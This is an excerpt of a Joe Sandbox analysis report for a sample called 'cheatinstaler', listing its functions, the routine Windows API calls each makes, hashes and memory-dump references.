Opcode ID: 95d7fd16c8d926fcf5da752308064adee905e679e75eda990adbc5c1a1c917ca
Instruction ID: df9f44305534817274fb7cfd75bfa4c7c65f65a0d4bb12f938d00777d0d6c7e1
Opcode Fuzzy Hash: 95d7fd16c8d926fcf5da752308064adee905e679e75eda990adbc5c1a1c917ca
Instruction Fuzzy Hash: BA51DE62A19A4282EF50DF26D86477A2320BF94B92F440139EECD87A94DF3CE485D700

Function 00007FF6C16E03E0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

SetDlgItemTextW.USER32 ref: 00007FF6C16E0556
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16E05C1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16E05C7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16E05CD

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ItemText
String ID:
API String ID: 3750147219-0
Opcode ID: 8ac84998d56cbfc06436e092980a2427078748cedf39fe0d6c2cd6a8a766ee4c
Instruction ID: 9f6d54948eef43ac00fc0b6565fd1c078583f8015ad8ebd10490996cd9b90e65
Opcode Fuzzy Hash: 8ac84998d56cbfc06436e092980a2427078748cedf39fe0d6c2cd6a8a766ee4c
Instruction Fuzzy Hash: 6B51A162F1465284FF009FAAD8442AD2322AF45BA5F500736DEDC97BD6EF6CD641D380

Function 00007FF6C16C3684 Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,00000000,?,00007FF6C16C309D), ref: 00007FF6C16C36CE
CreateDirectoryW.KERNEL32 ref: 00007FF6C16C3733
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF6C16C309D), ref: 00007FF6C16C3791
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C37CE

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2359106489-0
Opcode ID: 9d9d2995018f7f6f648ac6a5d97c5d37007cde808aee1d861722df7aa9659c46
Instruction ID: 5519ca760a59917f2f6e7d0310ab80c8f0d031a986046072ed80d2de4d721857
Opcode Fuzzy Hash: 9d9d2995018f7f6f648ac6a5d97c5d37007cde808aee1d861722df7aa9659c46
Instruction Fuzzy Hash: 9731C262A0C78281EF60AF27A4642796362FF897A2F508231EEDDC37D5DF3CD8459644

Function 00007FF6C16E2D6C Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF6C16E2D7B

Part of subcall function 00007FF6C16E27FC: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6C16E281E

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6C16E2D90
__scrt_release_startup_lock.LIBCMT ref: 00007FF6C16E2DFE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6C16E2E51

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: f380b52e8f95e6a0f24ce785192d8cb773bc143ddf3d62aee805abe4fb8ed354
Instruction ID: 756d40b941c3151ccbc8e2aa1b8c256e45820eb56985773fcbca42029ce79bf8
Opcode Fuzzy Hash: f380b52e8f95e6a0f24ce785192d8cb773bc143ddf3d62aee805abe4fb8ed354
Instruction Fuzzy Hash: EB315E11E0C15342FB54AF679C113BA2692AF41746F445638EACECB3D7DE2DE604E2D0

Function 00007FF6C16C2320 Relevance: 6.1, APIs: 4, Instructions: 58fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,?,00000000,00007FF6C16C2927,?,00100000,?,00000001,00000000,00000000,?,00007FF6C16C14C1), ref: 00007FF6C16C2348
ReadFile.KERNELBASE ref: 00007FF6C16C2367
GetLastError.KERNEL32 ref: 00007FF6C16C239B
GetLastError.KERNEL32 ref: 00007FF6C16C23BA

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 5dece825d5be91adec6864fa12bb564f4e3b5809c08bfde6ef0babe01e3581d0
Instruction ID: 09d9248398d925413c9f4601fccf3376eca9c30f9f5f682416cede5966ece622
Opcode Fuzzy Hash: 5dece825d5be91adec6864fa12bb564f4e3b5809c08bfde6ef0babe01e3581d0
Instruction Fuzzy Hash: 57216F21A0C65281EF60BF23A41033963A4FB45B96F144539DEDDCA788CF7CE895A751

Function 00007FF6C16CE948 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C16CECD8: ResetEvent.KERNEL32 ref: 00007FF6C16CECF1
Part of subcall function 00007FF6C16CECD8: ReleaseSemaphore.KERNEL32 ref: 00007FF6C16CED07

ReleaseSemaphore.KERNEL32 ref: 00007FF6C16CE974
FindCloseChangeNotification.KERNELBASE ref: 00007FF6C16CE993
DeleteCriticalSection.KERNEL32 ref: 00007FF6C16CE9AA
CloseHandle.KERNEL32 ref: 00007FF6C16CE9B7

Part of subcall function 00007FF6C16CEA5C: WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,00007FF6C16CE95F,?,?,?,00007FF6C16C463A,?,?,?), ref: 00007FF6C16CEA63
Part of subcall function 00007FF6C16CEA5C: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00007FF6C16CE95F,?,?,?,00007FF6C16C463A,?,?,?), ref: 00007FF6C16CEA6E

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: CloseReleaseSemaphore$ChangeCriticalDeleteErrorEventFindHandleLastNotificationObjectResetSectionSingleWait
String ID:
API String ID: 2143293610-0
Opcode ID: 7c4c69b688bb09167c3d8ec6f4195a818a409db0987586a56ae23aa503e7e0cd
Instruction ID: 742e0fcfe4793870359d6f0dbb98091ab072cd8906aaa80aef3c4f0744ab8d7e
Opcode Fuzzy Hash: 7c4c69b688bb09167c3d8ec6f4195a818a409db0987586a56ae23aa503e7e0cd
Instruction Fuzzy Hash: 6F012D32A14A81A2E748EF22E5546ADB731FB84B81F004171DBED43625CF39E4B4D740

Function 00007FF6C16CEAA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00007FF6C16CEAE0
SetThreadPriority.KERNEL32 ref: 00007FF6C16CEB36

Strings

CreateThread failed, xrefs: 00007FF6C16CEAEE

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Thread$CreatePriority
String ID: CreateThread failed
API String ID: 2610526550-3849766595
Opcode ID: cf4f3858e1c5421656891f758a667cd72a6f2059ba57d4f8d940dbc9b5e0f540
Instruction ID: 31fa630eafc44433037b5afd717176f0be136163f475c7c7c4d31287bd52ed0c
Opcode Fuzzy Hash: cf4f3858e1c5421656891f758a667cd72a6f2059ba57d4f8d940dbc9b5e0f540
Instruction Fuzzy Hash: 9911A331A08A4281FB10EF12F8512B97371FB84786F644231EACE83669EF3CE595E710

Function 00007FF6C16D946C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C16CDFD0: GetSystemDirectoryW.KERNEL32 ref: 00007FF6C16CDDDF

OleInitialize.OLE32 ref: 00007FF6C16D9486
SHGetMalloc.SHELL32 ref: 00007FF6C16D94D4

Strings

riched20.dll, xrefs: 00007FF6C16D9475

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: DirectoryInitializeMallocSystem
String ID: riched20.dll
API String ID: 174490985-3360196438
Opcode ID: 0d85db053d286d1bd0fa19ead2840fc3f5149c6ee0f027e6ed6c33eb2c824e37
Instruction ID: fe7c7de5098456621eabf77ac51cdbbaeffd7896c77f699dda542c560532fc73
Opcode Fuzzy Hash: 0d85db053d286d1bd0fa19ead2840fc3f5149c6ee0f027e6ed6c33eb2c824e37
Instruction Fuzzy Hash: 28F06271A18A4182EB01DF21F8252AEB3A0FF88755F540135EACD86755DF7CE14DCB10

Function 00007FF6C16D095C Relevance: 4.7, APIs: 3, Instructions: 152windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C16D853C: GlobalMemoryStatusEx.KERNEL32 ref: 00007FF6C16D856C

Part of subcall function 00007FF6C16CAAE0: LoadStringW.USER32 ref: 00007FF6C16CAB67
Part of subcall function 00007FF6C16CAAE0: LoadStringW.USER32 ref: 00007FF6C16CAB80

Part of subcall function 00007FF6C16B1FA0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B1FFB

Part of subcall function 00007FF6C16B129C: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C16B1396

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16E01BB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16E01C1
SendDlgItemMessageW.USER32 ref: 00007FF6C16E01F2

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$LoadString$Concurrency::cancel_current_taskGlobalItemMemoryMessageSendStatus
String ID:
API String ID: 3106221260-0
Opcode ID: f59522d12ea67105d58c7d38a79467439e8b2bca94c98ae11b85d9bfed72e7d6
Instruction ID: 8f7e0eedfe524a758e763697915f430ecbe1b8432d88b3ee2bd74ce30e4ce42c
Opcode Fuzzy Hash: f59522d12ea67105d58c7d38a79467439e8b2bca94c98ae11b85d9bfed72e7d6
Instruction Fuzzy Hash: 5D51C162F1464296FB00AFA6D8552FD2362AF85BC5F504235EECD9B7DAEE2CD500D380

Function 00007FF6C16B1744 Relevance: 4.6, APIs: 3, Instructions: 118COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B189C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C16B18A8
__std_exception_copy.LIBVCRUNTIME ref: 00007FF6C16B18D4

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Concurrency::cancel_current_task__std_exception_copy_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2371198981-0
Opcode ID: 0aea9c3c87e16ca9382b17eaa19c0ac0a5c93a98bd21b50b4506c2c51cf5c440
Instruction ID: febfa4b1d9df2e1fcc4f2bf361cfff24537963c62ca996807f158bb093cb09d8
Opcode Fuzzy Hash: 0aea9c3c87e16ca9382b17eaa19c0ac0a5c93a98bd21b50b4506c2c51cf5c440
Instruction Fuzzy Hash: 1841FE61B1868591EB049F23E54427AA365EF05BE1F548231EEFC8BBD5EF3CE091A304

Function 00007FF6C16C2134 Relevance: 4.6, APIs: 3, Instructions: 114fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00007FF6C16C21CF
CreateFileW.KERNEL32 ref: 00007FF6C16C223C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C22D8

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: CreateFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2272807158-0
Opcode ID: 4ce248ffffd21e537046429b603db88a9fd2a3d13b10b45fb751dcef003d6319
Instruction ID: 6b82d272120ba220eecd0297a51d571baa2b947327cf00e18a662caa747491d3
Opcode Fuzzy Hash: 4ce248ffffd21e537046429b603db88a9fd2a3d13b10b45fb751dcef003d6319
Instruction Fuzzy Hash: BB41BF72A0878282EB209F16E45466963A1FB84BB6F105338DFED43AD5CF7CE4A1D700

Function 00007FF6C16B23F8 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00007FF6C16B243E
GetWindowTextW.USER32 ref: 00007FF6C16B2476
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B2505

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: TextWindow$Length_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2176759853-0
Opcode ID: 324ad9725680782466c8b9226039195d64c3332d7d8035b24254b52cca95445d
Instruction ID: 622aeab683a4e1a459abf55e5e342aeebb3e9ce62d555d31fff783215b3cfd7e
Opcode Fuzzy Hash: 324ad9725680782466c8b9226039195d64c3332d7d8035b24254b52cca95445d
Instruction Fuzzy Hash: 59219C62A29B8281EB108F66A85017AA3A5FB89BD1F144235EBDD43B95DF3CE1908740

Function 00007FF6C16D1F94 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6C16D205B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6C16D2077
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6C16D2093

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID:
API String ID: 1875163511-0
Opcode ID: 5d5f35b7d0b1a8ec44982466ed86c266d3277025963138b758b7e20b27780546
Instruction ID: a756f728a89348573fb07a12553c6cf661f612bc4406b9bcb2338aaec3b3f59b
Opcode Fuzzy Hash: 5d5f35b7d0b1a8ec44982466ed86c266d3277025963138b758b7e20b27780546
Instruction Fuzzy Hash: A431A412E0C68651FB24AF16E4443B963A0FB50785F644135D2CC866A9DF7CEA96D301

Function 00007FF6C16C3D34 Relevance: 4.6, APIs: 3, Instructions: 62COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,00000000,00000001,?,00007FF6C16D07E1), ref: 00007FF6C16C3D5E
SetFileAttributesW.KERNEL32 ref: 00007FF6C16C3DB0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C3E1A

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: 523e4a483c86c9ac9ee543cf6c476d9bf2e9d6353514affc3e0f4067b8c7bc61
Instruction ID: 4ab006c2e4fd4f26a6f228e2d369af936820bd156fdcccbf76305dfd61210052
Opcode Fuzzy Hash: 523e4a483c86c9ac9ee543cf6c476d9bf2e9d6353514affc3e0f4067b8c7bc61
Instruction Fuzzy Hash: C321F823A1878181EF209F2AE4552696361FF88B95F404230EEDE83795EF3CD541DB40

Function 00007FF6C16C31BC Relevance: 4.6, APIs: 3, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,?,?,?,?,?,00000000,00007FF6C16D0822), ref: 00007FF6C16C31E7
DeleteFileW.KERNEL32 ref: 00007FF6C16C3237
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C32A1

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: DeleteFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3118131910-0
Opcode ID: 9e0f12d03b62ccef14e62e4bf3878a3457daa81ed2db8d115c48a0739d4b379d
Instruction ID: 506e2091648e899b6c8c74e53211a8ee19f75db5b7425405399573c4f79f291e
Opcode Fuzzy Hash: 9e0f12d03b62ccef14e62e4bf3878a3457daa81ed2db8d115c48a0739d4b379d
Instruction Fuzzy Hash: 7521F522A1878181EF109F2AF85422E7361FF88B95F508230EADE87B99DF3CD640D740

Function 00007FF6C16C32BC Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,00007FF6C16CE5B1,?,?,?,00000000,?), ref: 00007FF6C16C32E7
GetFileAttributesW.KERNELBASE ref: 00007FF6C16C3334
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C3399

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: d981565e32c06465bb9ca9e6032df0ff87469bcd01ee0110978b6e45bf249536
Instruction ID: b20057a7b4ad6b5970d206a8862616607abf2d938509eebeb8db0625a33d0296
Opcode Fuzzy Hash: d981565e32c06465bb9ca9e6032df0ff87469bcd01ee0110978b6e45bf249536
Instruction Fuzzy Hash: 7E217122A1878181EF109F2AE4542296361FBC9BA5F504331EAED83BE5DF3CD541D744

